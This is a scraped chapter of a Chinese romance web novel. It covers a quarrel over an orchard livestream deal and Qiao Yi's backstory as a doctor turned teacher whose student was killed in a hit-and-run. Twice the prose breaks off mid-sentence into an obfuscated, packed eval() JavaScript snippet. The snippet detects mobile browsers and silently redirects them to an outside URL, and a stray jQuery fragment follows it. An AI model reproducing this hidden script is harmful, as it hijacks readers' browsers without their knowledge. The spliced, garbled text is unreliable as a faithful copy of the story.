总之这么多年,两人始终互相看不顺眼,关系一直不太融洽。
本来他觉得这事自己没什么发言权,只是李奶奶请他们来一道商量,碍于她这位长辈的面子,又是乡里乡亲的他便同乔翊一起来了。
谁知道这厮几句话都不离他民宿,非拉他躺枪,于是他也决定不再沉默。
“我说……”只是他刚起个头,又被那扑鼻而来烟味熏得够呛,索性一个抬手把烟从对方嘴里夺了下来。
“诶诶诶,你干嘛你,我还没抽完呢我。”对方欲要阻止,却眼睁睁看着自己的烟被佟川干脆利落地压灭在眼前的烟灰缸里。
“行了。”佟川不耐烦地打断他的叫嚣,“人家都说了那叫公益性助农直播,免费直播带货,免费俩字听得懂吗?要是真开个高价提抽成你就乐意是吧?这事很简单,你就给句痛快话,要么干要么不干,别没事闲得蛋疼一天到晚给自己在这儿加戏,人家姑娘是不忍心看你妈辛辛苦苦种出的那么多好果子烂在地里,才提出的帮忙,不然就你这破果园,人家能有什么利可图的?”
李奶奶儿子被他一刺激也急了,站起来跟他正面硬刚。
“你是站着说话不腰疼,我这果园就算再不值钱也这么多亩地呢,现在外面骗子那么多,我谨慎点有什么错?有什么问题?”他情绪一激动又想来根烟,可在身上摸了半天没摸到,便烦躁加剧,又把矛头指向佟川。
“佟川,我打小就看不惯你这高高在上的样子。行啊,你这么相信她,她又是你的客人,我就问你,直播卖货这事你敢给她做担保吗?敢吗你?”他故意激佟川,企图从言语上压他一头。
眼看两人就要吵起来,没等佟川说话,“啪——”地一声,原本安静坐着的乔翊猝然站了起来。
“我来。”
正在对峙的两人齐刷刷向他看去,他郑重其事地对着其中一人。
“我来给她做担保。”
“什么?直播带货?”
姝言听到这一消息的时候震惊程度并不亚于果园那边李奶奶的儿子。
“对,没错。”麦初也同样郑重其事地做出回应。
“什么情况?一开始你不是说的做线上旅行社吗?怎么上了趟岛又开辟新赛道了?”姝言这会儿也是一头雾水状。
“只是换了条起号的思路,跟后期的线上旅行社并不冲突,反正我现在在岛上闲着也是闲着,倒不如利用这时间干点正事。”麦初解释。
“不是,这跨度也太大了吧?”以姝言对麦初的了解,她不是一个轻易改变主意的人,而且这趟久违的出远门就是为了考察线上旅行社的首站线路,虽说阴差阳错地上了一座小岛,但突然穿插直播带货,一定不是临时起意。
“我说,你不会在当地遇到了什么刁民,受到他们威胁后,以给他们直播销售当地产品来换取自己的人生保障吧?”姝言作为一个编导最不差的就是脚本编撰的能力,分分钟给她脑补出一场“当地刁民倒逼百万网红”的大戏。
麦初知道她是出于对自己的担心,眼瞅着再不说明情况,她都能拍出一部悬疑连续剧了,便也不再隐瞒。
而姝言听她讲完来龙去脉,没有任何阻拦,而是由衷地发出一句感叹,“我可真高兴啊,曾经那个干劲十足的麦初原来没有消失不见。”甚至比她还要激动,“这才是你啊麦初,那个自信无敌放光芒的queen终于回来啦。”
至少,她没有在坠落神坛后,长久困于过去的辉煌而一蹶不振,她能够放下从前坦然接纳当下的一切,光是这份从头再来的勇气,就已十分可贵。所以,只要麦初觉得是对的,是她现在想去做的,姝言都会在她身后无条件地给予支持,她也相信麦初做什么都会有自己的判断。
“Queen?算了吧,你见过在果园里卖农果的接地气queen吗?”麦初故意自打自趣。
“不是你开播就能见到了吗?”姝言也自然接梗,随后二人默契地像被戳中笑点,心照不宣地哈哈大笑起来。
直到电话那头又有人呼唤姝言,她一边回着“马上来”一边无奈地跟麦初叹了口气,“看看,我这个牛马命,打个私人电话的时间恨不得掐分掐秒,你开播定了哪天记得提前跟我说,庆祝你回归,首播我要给你刷个大礼。”不过忙归忙,姝言还不忘要做她的榜一大姐,只是麦初没好意思告诉她,其实她的首播已经在上岛的第一天便悄咪咪地开过了。
“怎么这么晚了还在开会,你那个新项目的策划案还没定?”麦初也日常地关心一下榜一大姐。
“没有那么快,这不过会都得过几轮。”提到工作姝言就脑壳痛,“说起来我们这档恋综正愁嘉宾人选呢,要不你来给我当女嘉宾吧,现在观众都卡颜,不是美女到时候会喷节目组选人没眼光,整容脸又会喷节目组眼睛被屁打瞎了搞假货,我们很难的,不如你这个颜霸闺蜜来救救我。”
眼看姝言越说越离谱了,麦初也原地无语,“你确定我去是拯救你不是祸害你?我身上的黑料光是营销号那边的素材都能绕地球一圈了。”
“反正不管嘉宾是谁,我们制作组呢横竖都是会被观众怼的,你来说不定还能给我这档节目增加一波热度,到时候我给你配个超级无敌大帅哥组cp,对了,你觉得向律师怎么样?”
姝言口中说的这个向律师正是当初她动用人脉替麦初请到的那位大律师,年轻有为且相貌端正,又有告知光环加持,她一直有意撮合他俩。
所以她前面说的都是玩笑话,只是为了引出最后那句话来。
“很好啊,人类高质量男性,作为男嘉宾一定有看头。”明知她意有所指,麦初仍是跟她打哈哈。
姝言索性挑明,“我是说跟你组cp怎么样!”
“不怎么样,不是我的菜。”
“那你的菜啥样?我给你精准物色一个!”
“先别说我了,我倒觉得你跟向律师可以组cp啊。”麦初主打一个用魔法打败魔法,“一个编导,一个律师,起码从职业上比我这个果园queen听起来更相配不是吗?”
这次轮到姝言无语,她哼唧一声,妄图把这把火从自己身上给灭下来,“麦初,你该不会在那小岛上有什么艳遇了吧?”
明知姝言是转移话题的玩笑话,麦初的脸还是没由来地热了一下。
好在两人隔着电话,姝言看不到她微妙的变化,好在又有人来叫唤姝言,
“来了来了。”姝言烦躁地嚷了两声无奈地对麦初说,“不行了,他们又来催我了,我先开会去了。”
麦初早已习惯她这样的状态,十分配合地说,“行,你先忙你的去。”
随着姝言那端的电话戛然而止,房间再次陷入寂静。
麦初直接倒向床铺,任由自己放空,她住在民宿顶楼,天花板是倾斜的三角,有一扇小窗斜斜地框住一角夜空,可见设计时的心思巧妙。
星光很淡,她看着,只觉得那光亮遥不可及,面对这诗画般的浪漫场景,她毫无欣赏的心思全无。
今天在果园劳作了一天,可谓大汗淋漓,回来只顾着洗澡,吃饭的事却被她全然抛之脑后,直到此刻歇下来,疲惫的身体才后知后觉地发出信号,腹中空空,正辘辘作响。
她从果园回来的时也挺晚了,再这么一来二回的耽搁,一晃都已经到了夜宵的点,时不待她,她赶紧下楼去觅食,从房间到餐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182753|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厅的步数里满脑子已被海肠捞饭所填满,她目标相当明确,已经好上这口的她甚至觉得多看一眼菜单都是对海肠捞饭的不尊重。
但是人一下去她傻了眼,今晚的餐厅空荡荡的,一副已经打烊的模样,只有小佟光坐在里头看电视,而在他身旁的空位上,也多了一个麦初从未见过的小女孩,那孩子在写着字,双手却缠着层层的纱布,握笔的姿势显得十分吃力,听到有人从楼梯上走下的动静,她闻声抬头,脸上大小不一的伤口,就这样落进了麦初的视线里。
麦初暗自倒吸了一口凉气,那些伤口深深浅浅地盘踞在小女孩的稚嫩的脸上,几乎可以说是破了相。
她估摸着可能是哪位客人的孩子这会儿正在跟小佟光玩耍,也许白天大人游玩时看护不利,导致孩子在了海滩边的礁石上,要真是这样,那自己脚踩海胆窝的遭遇与之相比,简直是小巫见大巫。
小佟光听到动静也习惯性地转过身来,看到是麦初便已知晓她是下来吃饭的,他挠着头有些抱歉地告诉她,“不好意思啊小麦姐,我爸有事出去了,今晚餐厅夜宵不开张。”
此时麦初还不知道佟老板正和乔翊一同在李奶奶处商量直播带货的事,只以为他是忙别的去了。
由于麦初的注意力都被那个小女孩所吸引,让她无暇再顾及与海肠捞饭失之交臂的遗憾。
“哦行,那我去贩卖机里买桶泡面就好。”麦初刚准备去前厅随便买个能充饥的对付一口就成。
两人正说着话,这时后厨的门帘被人一个掀起,一位陌生的中年女子循声探出身来,她身前系着围裙,手上还戴着洗碗的手套,与麦初打照过面后,便朝她笑着点了点头,“要吃晚饭是吗?老板今晚不在,要不我给你下碗红汤面吧?”
初次见面,麦初也礼貌一笑,眼神却在对方身上流连,她从衣着和年纪上暗自揣测,难道她就是佟光的妈妈?
“就不麻烦了吧,我吃泡面就行。”麦初不想人家特地为了她开火,摇手婉拒。
对方却说:“不麻烦的,下碗面条很快,泡面也不健康。”说完她利落地摘下手套,让麦初等她一会儿就好,也不再等麦初有所回应已经重新钻进了后厨。
麦初本想拦着她,但肚子实在饿得咕咕叫,想了想便作罢,人家也是一番好意,再三拒绝反倒显得不礼貌了。
趁着等面的空荡,麦初百无聊赖地走到佟光旁边,拉了张空椅子坐了下来,看到他胡乱摊在桌上的作业本和试卷,随口问了一句,“今天作业写完了?”
才刚巴适没多久的小佟光一下子又浑身不自在起来,难得老爸和监工同时不在,怎么又来了个“眼线”?
“看完这集就写。”他只得囫囵开口。
麦初差点没笑出声来,敢情他没写好作业,趁着他爸不在偷懒呢?
而刚才还在低头写字的女孩正好把作业都完成了,与佟光把书本胡乱摊一桌不同,她把笔和本子都整整齐齐地收好,这才靠过来一些,准备跟佟光一起看动画片。
见到麦初,她也十分懂事地主动唤了声姐姐,模样乖巧地很。
近看之下,她脸上的伤口更显触目惊心,麦初看得心中一紧,也于心不忍,但也怕自己目光停留太久反而伤到这小家伙,于是她快速弯起嘴角,朝小女孩友好地笑了笑:“你好呀。”
小女孩也甜甜地微笑,“姐姐好。”然后找了一个空位坐下来,很安静地看起了电视。
麦初正在唏嘘,小佟光却因为动画片里的搞笑片段不合时宜地发出一阵笑声,把麦初的注意力重新拉回,她便开口问他,“对了,刚刚那位是你的妈妈吗?”
小佟光连连摆手以作否认,他指了指旁边的女孩,告诉她,“那是她的妈妈,我们店的前台瞿阿姨。”
“前台?”麦初一时半会儿愣是没有反应过来。
小佟光点头,“对啊,瞿阿姨前几天有事请假了,今天回来了。”
等,等下。
麦初好像有点被他绕晕了,如果这位今天她刚见面的瞿阿姨是前台的话,那……
“那乔翊是?”
小佟光此时注意力都在动画片上,他自然而然地开口回应,“他啊,他也是民宿的老板啊,还是我的班主任,瞿阿姨请假,我妈又不在,我爸一个人忙不过来,他就来帮忙看店,顺便履行班主任的职责监督我写作业。”同时也不忘补上一句,“我快被他烦死了,人家是快乐暑假,我简直是人间炼狱。”
这边佟光正忙不迭地沉浸式吐槽,那边,电视屏幕的光映在麦初略显呆滞的脸上,明明灭灭地闪烁。
佟光后面的话语仿佛自动模糊了下去,唯独中间那句,像被刻意标记一般,牢牢抓住了麦初的注意力,最后只剩三个最精简的字在麦初脑海里反复凸显,无限放大,直至占据整个C位。
班主任。
班、主、任。
班?主?任?
!!!
20. 20
他居然是老师!
真相宛如一道平地惊雷,在麦初脑中急剧炸开。
前台小哥,民间救援队成员,出海领队,诊所主理人之孙,热心邻里……
短短几天,他已经在她面前解锁了多重身份,麦初之前还百思不解,他究竟为什么要放弃大城市的万千机遇,宁愿在这座孤僻小岛身兼数职地蜗居。她也做过很多次设想,或许是受学历与能力的限制,只能仗着年轻干些体力活;又或者是他内心向往自由,即便生得一副出众相貌,也不愿卷入世俗的喧嚣纷扰,与人虚与委蛇周旋往来。
可她万万没有想到,那多重身份的背后,隐藏得最深的身份竟是一名老师,还是班主任?
“他是老师?教什么?”巨大的反差让麦初一时难以置信,忍不住继续追问佟光。
体育老师也是老师啊,万一他是负责体能这块的呢?
小佟光这才从动画的世界里回过头,等他看向麦初时,发现了她眼底的不可思议。
“他平时吊儿郎当的样子很难让人将他和老师的职业联系起来对不对?”小佟光一语道破,却又习以为常地告诉她,“虽然听起来有点离谱,看起来也不大可信,但他是英语老师。”顺便附上一个更令人意外的真相,“而且,还是个美国留子。”
麦初震惊之余也豁然反应过来。
所以那一晚他脱口而出的《绿皮书》台词,并非招蜂引蝶的刻意背诵,而是真才实学下的浮白载笔,还有在游艇上与她侃侃而谈的那座学校,也不是因为路过随口介绍,而是他真正体现自我价值的熟悉领域。
当答案揭晓,原来一切都是有迹可循。
“那,他是怎么来到这儿的?”
此刻更多的疑问如潮水般涌上麦初心头,自己之前对他的种种误解,也尽数化作愧意在她胸腔翻江倒海。
电视里的动画片还在持续播放着,佟光却在麦初这句再不平常不过的疑问中缓缓耷下了脑袋,忽然就没有了再看下去的兴致。
本就空旷的餐厅里,电视中的喧嚣与他沉默的身影形成鲜明的对照,在一阵冗长的安静后,明明小小一只他,竟也同大人般地,叹出了一口悠长而深沉的气来。
“其实……”当他再度开口时,表情是麦初从未见过的严肃认真,“他是为了我们一家来到这儿的……”
*
果园中。
谈到由谁担保的话题,乔翊恍惚间仿佛回到了三年前,第一次踏上这座岛屿的时候。
彼时的他刚经历过一场炼狱,拖着一具空洞的躯壳来到这个地方,在这群原生岛民的审视、质疑与排斥中,更加形同一具行尸走肉。
然而在此之前,他一直是一个活得潇洒自在的人,除了原生家庭那道难以言说的暗痕,可以说他的前半生几乎如风行水上,随心所欲。
于他而言,他的原生家庭简直是个莫大的笑话。
人生最大的污点便是它带来的——那永远洗脱不掉的私生子身份。
这份见不得光的出身,让他自幼只能被寄养在外公外婆身边。可惜了两位老人年轻时勤勉于各自事业,操心劳碌了大半辈子,到头来却因女儿插足他人婚姻、成为第三者的行径深感为耻,更将之视为家庭教育中的莫大失败,至此成了二老心中一道永远无法填补的伤疤。
已与女儿断绝关系的他们,对这个外孙也不再奢求他能有多么优秀出众,只盼着能在自己的悉心引导下,他能建立起正确的三观,无拘无束地快乐长大,便已心满意足。
乔翊因而得以在相对宽松的环境里长大,他如同一棵树,向阳而生,纵使年少枝桠偶有横斜,却始终没有偏离成长的正轨,最终出落得标志且挺拔,内外皆未负二老所期许。
可所谓人生如戏,当他正在茁壮成长时,他的母亲却在此期间机关算尽,生生熬气死了原配,最终成功上位,而那个比她年长二十岁、已步入暮年的男人,在扫清最大障碍之后,一心只想将流落在外多年的独子认回,以继承家业。
秉袭了外公那不卑不亢风骨的乔翊,自然一生硬气,面对那男人背后庞大的商业帝国,他不仅嗤之以鼻,更是不屑一顾。
然而继承人的身份无论他拒绝与否,只要他存在,自始至终都是另一个人的威胁,从他被公开的那一刻起,他便站在了同父异母姐姐的对立面,宿命的安排让他们成为人生对手,即便他全然不在乎那些令人艳羡的家族财权,却改变不了成为姐姐眼中沙的事实。
为了不打破原有的平静生活,也为了避免卷入豪门纷争,他选择与亲生父母割席,母亲硬要替他谋划的人生,他偏要与她背道而驰,他要挣脱那个浮华背后虚伪遍布的家族,远离那个满是算计且利益至上的名利场,他只想走出一条属于自己人生。
于是他全身心投入医学世界,只立志继承外公的衣钵。
得益于外公外婆的优秀基因,他自幼便展露出过人的学习天赋,从重点初中、沪城中学,再到香港大学,一路稳步向前从未偏离优秀的轨迹。
大学里,那竞争激烈的公费留学名额,他也凭借本硕期间优异的表现始终保持高绩点,在专业领域名列前茅,最终拿到了一张珍贵的入场券。
可以说,从小到大只要是外公带去走亲访友的聚会,宴席上的鱼头不管在转几圈后,最后还是会稳稳地回到他的面前,这是老一辈人在饭桌上对学霸以示的最崇高敬意,同时大家也会领着自家小孩过来将他当做学神膜拜一番。
乔翊心中洞明,也许只有在这样的场景之下,才能抚慰二老一直隐藏在心底的那道创伤,所以他也从最初的排斥到默默接受最后习以为然。
国外学成归来后,他满怀热忱地投身于向往已久的医学事业,准备在那座伟岸的白色灯塔内大展拳脚,可往往事与愿违,直到他亲眼目睹,在自己漫长苦读求学后才踏上的艰辛之路,被滥竽充数的权贵们肆意践踏,野鸡大学的文凭在暗箱操作下可以与他们高校博士轻而易举地比肩,所谓的医疗规范也可以任由他们凭借一己之力随意更改,这让原本意气风发的他开始陷入迷茫,产生自我怀疑,接踵而来的还有周而复始的内耗。
而身边那些自视甚高的同僚,为求自保早已沆瀣一气,更有人为逐名利背离天职,不惜夸大病情、过度医疗,将患者安危置之度外,甚至在利欲熏心下,将魔爪伸向手无缚鸡之力的幼童,他们有恃无恐,越发猖狂,因为即使事情败露、东窗事发,这座坚不可摧的灯塔也会第一时间隐藏甚至删除手术监控,再上下串通、三缄其口、层层相护、推诿包庇来逃避所有责任,最后他们道貌岸然地站在家属面前宣告——“对不起,我们尽力了。”
乔翊这才后知后觉,这个他曾经心之所向的神圣理想之地,原来早就从根基至枝梢,溃烂腐朽,快要连一片完整干净的绿叶都看不见了。
就像鲁迅先生《狂人日记》中所描绘的那样。
满口仁义道德之辈,翻开皮囊一瞧,吃人的勾当藏了三成,吸血的算计占了七分。
在看清了真相后,他无法忍受自己日复一日地被无数个无形之手捂住嘴巴,被迫充当一个沉默的旁观者。
加上良心上的不断谴责,心寒与痛苦反复交织,压抑与不安也如影随形,所有的负面情绪快要将他整个人压得喘不过气,更令他害怕的是,他生怕自己也会在毫无准备的一天,被那些肮脏所侵蚀,于是他本能地选择了逃跑。
他离开了医疗系统,放弃了世人眼中的大好前程,也将多年的医学知识彻底封存,这一次,他选择了去教书育人,只有孩子是最纯净的存在,是这混沌世界里,他能找到的最后一片纯粹。
他回到沪城,成为了一名初中英语老师。很快他别具一格的教学风格就在全校脱颖而出,深受学生们的喜爱,加之年轻开明,自然与学生们打成了一片,成为了孩子们眼中亦师亦友的存在。
他执教两个班级,其中一个班的英语课代表名叫佟辉,他开朗活泼也谦虚好学,处在青春期的小男孩对力量和权威感十分敏感,遇到极其优秀或强大的人很容易产生慕强心理,而内外兼修的乔翊,恰好完美满足了这个阶段小男生心中所有的崇拜要素。
大抵是将他当做了偶像,佟辉经常会给他带一些老家的特产,比如新鲜多汁的无花果,那是乔翊第一次吃到这么甜的无花果,佟辉说那叫糖包儿,还有各种各样的小鱼干,佟辉献宝似地说即使在这大沪城的超市里都买不到,其他带来的小玩意儿更是层出不穷,什么海螺做的小夜灯、萤火虫的标本、贝壳做的风铃等等。
起初乔翊只觉得这小男生挺有趣,不忍拒绝孩子的心意便会只挑几样收下,其余让他带回教室分给同学们去。谁知实诚的佟辉会错了意,只当他挑下的都是尤为喜欢的,便长期投送,其中的无花果更是出镜率最高,哪怕过了丰收季,他也会变着法给他带来无花果干、无花果酱,每次还会丢下一句,“乔老师,你喜欢的无花果我带来啦。”
他这一举动总令乔翊哭笑不得。
在日复一日的相处中,乔翊也慢慢了解到这孩子的家庭信息。
佟辉的父亲是位新沪城人,早年离乡求学,后因工作在此落地生根,将家安在了这座许多人向往的国际化大都市,佟辉也在此出生,读书长大,但这并未冲淡一家对故土的思念与热爱。
佟辉并不是独生子,他还有一个弟弟,名叫佟光,比他要调皮许多。
佟辉、佟光,辉光日新,从兄弟二人名字中不难看出父母对他们光明未来的殷切期盼与厚望。
后来在佟辉的描绘下,乔翊又得知他的家乡位于青禾附近的一座小岛上,名叫夏安岛,那里三面环海,风景如画,岛上一直保存着原生态的自然风光,既有猴群与岛民和谐相处至今,也有私藏的壮阔海景。
每每提及家乡,佟辉总会不自觉地扬起嘴角,眼中闪着希冀之光,满是对那座小岛未来的憧憬。“等我长大了,一定要回去建设小岛,把夏安岛打造得像马尔代夫那样迷人,让它名扬四海,驰名中外!”他语气坚定,带着一股不服输的劲儿,“总有一天,咱们夏安岛的风头要盖过隔壁的青禾!”
说完就对着乔翊傻笑,露出一排整齐洁白的牙齿,他说,“乔老师,有空你一定要到我老家去一趟,那里美到失真,我们那儿也有玻璃海,可不比马尔代夫的差。”
那时的乔翊只当是孩童天真的夸口,这世上哪里还会有比人间天堂马尔代夫更美的地方呢?可他仍是笑着应和,答应等到他初三毕业,会去他的家乡,那座小岛上看一看。
尚且稚嫩的佟辉还不懂什么叫做场面话,他的敷衍了事小孩却信以为了真,一下子开心地同他说了更多,比如带他去赶海,带他去喂海鸥,带他划桨板,带他采无花果……
乔翊并没有打断他,只是静静听着,等那份雀跃的畅想渐渐落下,为表对他的鼓励,也作为他长期赠送无花果的回礼,他拿出了自己珍藏的香港大学校徽。
“这是我本科大学的校徽,上面刻着的是校训——‘明德格物’。”
他温声说道,“这四个字的意思是:先修养品德,再探求真理。老师希望你将来,既成为一个值得信赖的人,也拥有扎实可靠的能力。””
佟辉受宠若惊,他下意识地伸手想要接过,却又如梦方醒般地抽回,将手心在背后反复地擦了又擦,直至他认为已经擦拭干净,才重新郑重地、近乎虔诚地用双手接过那枚校徽。
他看了又看,眼底带光,音中带颤。
他说:“乔老师,我不会辜负你的期望,以后,我一定会成为一个对社会有用的人。”
乔翊便揉了揉他的脑袋,“小伙子,加油。”
“加油!”
这句满是决心的附和,佟辉也不是说说而已,他为此付诸实践,三年中,他优秀而自律,成绩始终名列前茅,令乔翊甚是欣慰。
时光匆匆,转眼便来到初三,进入毕业冲刺阶段,佟辉丝毫不敢松懈,他的目标,正是乔翊的母校沪城中学。
不过即便是在时间最紧张的日子里,他依旧坚持着一件小事:为乔翊带去新鲜的无花果。
乔翊也渐渐习惯了他这份质朴的牵挂,开始学会坦然接受,就这样,这小小的无花果悄无声息地成为了师徒二人间心照不宣的感情枢纽。
为了让佟辉劳逸结合,师徒俩经常会在下了夜自习之后切磋几回篮球,那总是佟辉一天中最放松的时刻,在奔跑的投篮间,他乐此不疲地向乔翊畅谈未来与理想,当然也少不了乔翊最熟悉不过的话题。
“你可早答应我了,等毕业了,暑假就会去我老家夏安岛做客!”
乔翊拍运着球,对这个每年都不会迟到提醒,依旧漫不经心地给出回应,“好。”
已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182754|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成少年的佟辉一如既往地对此充满期待,一个激动的截抢,起身跃投,随后一个三分球划出一道弧线,稳稳落入篮筐。
可那一天的到来却打破了这所有的平静。
那本是再寻常不过的一天,晚自习后师徒俩照例切在球场磋,只是兴致渐浓,多打了几个回合,不知不觉就比平常晚了一些,结束后两人跟以前一样一道往学校门口走,已过了放学高峰期,校园里人影稀落,灯火寥寂,只剩他们的脚步声轻轻回荡。快到校门时,乔翊并没有在口袋中摸到汽车遥控器,这才意识到是被自己落在办公室了,于是他先陪佟辉走到校门口,打算目送他离去后再折返回去取。
两人在校门口道别,佟辉一手推着自行车一手挥别,并催促他快点回去拿钥匙。
“别送了老乔,我都这么大了的人了,放学回家还能丢了不成?”
三年时光,他口中那个恭敬的“乔老师”早已变成了亲切的“老乔”,明明被叫老了,乔翊却欣然接受并享受其中。
乔翊可没由着他嘴贫,他再三提醒,“臭小子,路上给我慢点骑车,别耍酷。”
目光却自始至终宠溺地望着这个自己一手培养出来的得意门生,心中自豪不已。
少年则利落地跨上车,头也不回地朝他挥了挥手。
“知道啦!老乔,再见!”
“明天见。”
目送那渐渐远去的骑车身影,乔翊这才转身朝办公室的方向迈步,可很快校外传来的一阵刺耳轮胎摩擦声,混杂着野兽般的引擎轰鸣,骤然打乱了他的脚步,并在“轰——”地一声巨响后,如惊雷般生生撕扯开寂静的夜空,似一记重锤狠狠敲击在乔翊的脑门,震耳欲聋。
明明隔着很长一段距离,他却仿佛被那声音迎面袭中,整个人浑身一僵,随即想也不想,立马调头就往校门冲去。
一个念头在脑中横冲直撞,尖啸翻涌,反复撕扯着他的理智,但他不断告诉自己。
不会……不可能……一定是他多虑了……
他冲出门外,只见几百米开外的路中央,赫然停着一辆改装过的卡宴,车灯刺眼地亮着,映出不远处一个踉跄跌撞的朦胧背影,却很快消失在夜色里,而车后延伸的路面上,所行径之处,正残留着一摊深色痕迹,夜色如稠,灯光昏暗,与路面的原色混迹在一起难以分辨。
以至于乔翊第一眼竟荒谬地以为那是从汽车漏出的机油,直到目光扫过马路对面,发现了那辆熟悉的自行车早已被撞得扭曲变形,此刻它正如同废铜烂铁般孤零零地躺在远处。
刹那间,他的心脏骤然紧缩,极度的恐慌开始遍布全身。
他发疯似的冲向那辆卡宴,越靠近,空气中那股浓重的铁锈味就越发清晰,他才意识到,那一开始被他错认为是机油的液体竟是人的血。
一股不祥的寒意从脚底直窜头顶,他一边狂奔,一边嘶喊佟辉的名字,却始终无人应答,只有他的声音在街道上回荡,一声比一声绝望。
事发后,周遭的居民与路人渐渐聚拢,在事故现场外围成一圈,人群中有人第一时间报了案也叫了救护车,也有目击者仍未从震骇中缓过神来,正带着哭腔,一边痛惜地拍着大腿,一边向旁人讲述那惊魂惨烈的一幕。
“小宁(小孩)好好叫踏了脚踏车,哪能晓得辣末生头(突然)冲出来一部车子,速度快得吓煞特宁,小宁当场就撞飞脱了。格只畜桑还勿停,硬劲拿(硬生生把)小宁卷进车底,拖了老长一段路哦,地廊厢(地上)血污嗒嗒,作孽啊!”
乔翊冒失地冲撞开那些人,他屏住呼吸,凭着尚存的一丝理智扑向了车底,真的在一片阴影里,看见了那个熟悉的身影,他瞬间像被拆掉了骨抽走了魂,失去重心跌倒在地。然后,他又像个失心疯,不顾其他人的阻拦想要爬进车底,掌心擦过粗糙的地面也浑然不觉,只是急切地去够、去碰,只想把那具已被撞得扭曲变形的身体,从轮胎与地面的夹缝里拉出来。
“佟辉!佟辉!”
他一声声呼唤着,奢望能得到一丝回应,嗓子像被砂纸狠狠磨砺,沙哑到破了音。
“醒醒!看我!看我啊!我是老乔!”
可佟辉只是静静地趴躺在那里,一动不动,鲜血仍旧从他所在的地方安静流淌,在夜色里汩汩漫开,将地面晕染成一片触目惊心的暗红。
乔翊触碰不到他,一点都碰不到,他猛地站起身,发狠地去抬那辆吃人的车,想把佟辉拯救出来,可在巨大的车身对比下,这一举动无异于蚍蜉撼树,轮胎甚至连一丝一毫的晃动都没有。
见他如此,几位好心路人再也不忍冷眼旁观,他们一言不发地快步上前,默契地都蹲下身去,与乔翊一起抓住那冰冷的车架,用尽全身力气尝试抬起这钢铁的巨物。每个人都憋足了一口气,怀着最后一丝渺茫的希望,只为同一个信念——从死神手里夺回那个被压在车底的少年。
之后,有越来越多的人加入了进来,再后来,一切都变得模糊,只残存着一些零碎的画面。
当救援人员陆续赶到时,乔翊已经精疲力尽地跪在地上,他仿佛被掏空了身体,眼睛涨红,声音涣散,却一遍遍地哀求着他们:“救救他……求求你们救救他,他才15岁……”
他被警察拉至了警戒线外,只能远远看着佟辉被警方小心地从车底抬出,他的脸颊血肉模糊面目全非,四肢高度错位,如同纸糊一般脆弱,仿佛轻轻一碰就会彻底碎裂。
眼前的场景令乔翊猝然愣在原地,他无法接受,师徒二人再次见面,他竟然变得不认识他了,明明一个小时前这小子还活蹦乱跳地跟他挥手道别。
跟着他一同从车底出来的,还有他的书包,沾满尘土和浸染了鲜血的包上,那枚校徽依然醒目地挂着。
当“明德格物”四个字被鲜血淋漓地再次撞眼帘时,乔翊如遭当头棒喝,那股欲冲上前的劲头瞬间被抽剥得一干二净,四肢百骸像被人囚禁住,死死困在警戒线后动弹不得。
生理反应也随之而来,胃里蓦然一股酸水翻腾不止,直到他再也支撑不住,猛地弯下腰,撕心裂肺地呕吐起来,混杂着苦涩的泪水仿佛要将五脏六腑都吐出体外。
一夜之间,他仅存的信仰也轰然崩塌,那座赖以寄托的精神城池就此被瓦解,理智与防线也尽数破碎,他被混沌的泥沼全然吞噬,被绝望彻底包围,最终,彻底崩溃了。
21. 21
佟辉的生命定格在了风光正茂的15岁。
由于肇事者当场逃逸,警方通过车牌调查到车子挂在一家公司名下,而该公司背后的母公司,正是当地势力盘根错节的知名财阀集团。
也因如此,这起发生在众目睽睽之下的校门口惨案,才会石沉大海没有激起半点波澜。
更蹊跷的是,他们竟然被告知,事故路段此前因路面改造,监控一直未联网同步,无法进行取证,而唯一存有希望的校方监控却全都处于拍摄盲区,关键线索就此中断。
可乔翊明明记得校门口的监控是全方位无死角的布设,怎么偏偏这个节骨眼突然全变成了盲区?
还有那令人心寒的校方态度,自始至终沉默以对,未曾公开替自己的学生发声过一句。
而那条被鲜血浸染的半截路面,也在被大面积地人为冲刷后,以最快的速度恢复了原先的模样,学生们依旧在这条路上往来穿梭,上下学,一切平静如常,仿佛什么都不曾发生过,只是那熙攘流动的少年身影里,唯独缺了佟辉一个。
佟辉的骤然离世,打击最深的当属他原本幸福美满的四口之家。
身体本就不济的母亲受此重创,心脉受损,病情急剧恶化,最终被确诊为尿毒症,只能靠透析维系生命,万念俱灰的她几度想破罐子破摔,追随佟辉而去,可每当看到那懵懂无知的幼子,又不忍他小小年纪承受家破人散的痛苦,便一再咬牙坚持了下去。
佟辉的父亲同样遭到重创,为了找出那名夺走儿子生命的肇事者也无心工作,他四处奔走,搜集线索、寻找证据,短短几日人便憔悴得脱了形,仿佛一下子苍老了十岁。
乔翊心若明镜,这件事之所以没有走漏一丝风声,无非是肇事者仰仗着家族背后的雄厚背景,以权势压制,妄图以时间冲淡一切。
可他偏也是个硬茬,在亲眼目睹了自己学生的惨状后,他绝不可能坐以待毙,任由对方将一切悄无声息地抹平。他当即动用了所有的渠道与人脉,开始借助舆论的力量,将这起沉案变着法地以各种形式推向公众视野,逼迫凶手现形。
果然,在舆论介入后,逃逸了一个月的“凶手”竟然主动自首。
可当乔翊看到站到幕前的垂暮老人,他步履蹒跚,动作迟缓,与那晚自己撞见的年轻矫健身影截然不同,他便一眼洞穿他们的卑劣手段。
